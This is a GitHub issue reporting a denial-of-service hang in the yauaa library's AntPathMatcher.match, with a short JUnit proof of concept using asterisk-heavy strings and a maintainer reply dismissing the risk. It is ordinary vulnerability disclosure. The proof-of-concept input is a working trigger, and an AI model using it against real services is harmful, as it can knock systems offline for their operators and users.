Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

AntPathMatcher.match is vulnerable to out of denial of service (DoS) attack #1238

Closed
PoppingSnack opened this issue Nov 27, 2023 · 1 comment
Assignees
Labels

Comments

@PoppingSnack
Copy link

AntPathMatcher.match is vulnerable to out of denial of service (DoS) attack

Description

A denial of service vulnerability exists in the AntPathMatcher.match method.

PoC

        <dependency>
            <groupId>nl.basjes.parse.useragent</groupId>
            <artifactId>yauaa</artifactId>
            <version>7.23.0</version>
        </dependency>
import nl.basjes.parse.useragent.utils.springframework.util.AntPathMatcher;
import org.junit.Test;

public class AntPathMatcherFuzzerMatch {
    // 超时
    @Test
    public void matchFuzzerTest() {
        try {
            String tempString1 = "*******************************************:********************************************************";
            String tempString2 = "****************** / HTTP/1.6\n\n / HTTP/1.6\n\n / HT0";
            AntPathMatcher antPathMatcher = new AntPathMatcher();
            boolean result = antPathMatcher.match(tempString1, tempString2);
        } catch (Exception e) {
        }
    }
}

Above code will run without termination.

@nielsbasjes
Copy link
Owner

Not really a problem.
Only the developer/admin using this library can trigger this.
If you think this is a problem report it to the SpringProject (that is where I copied this class from)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants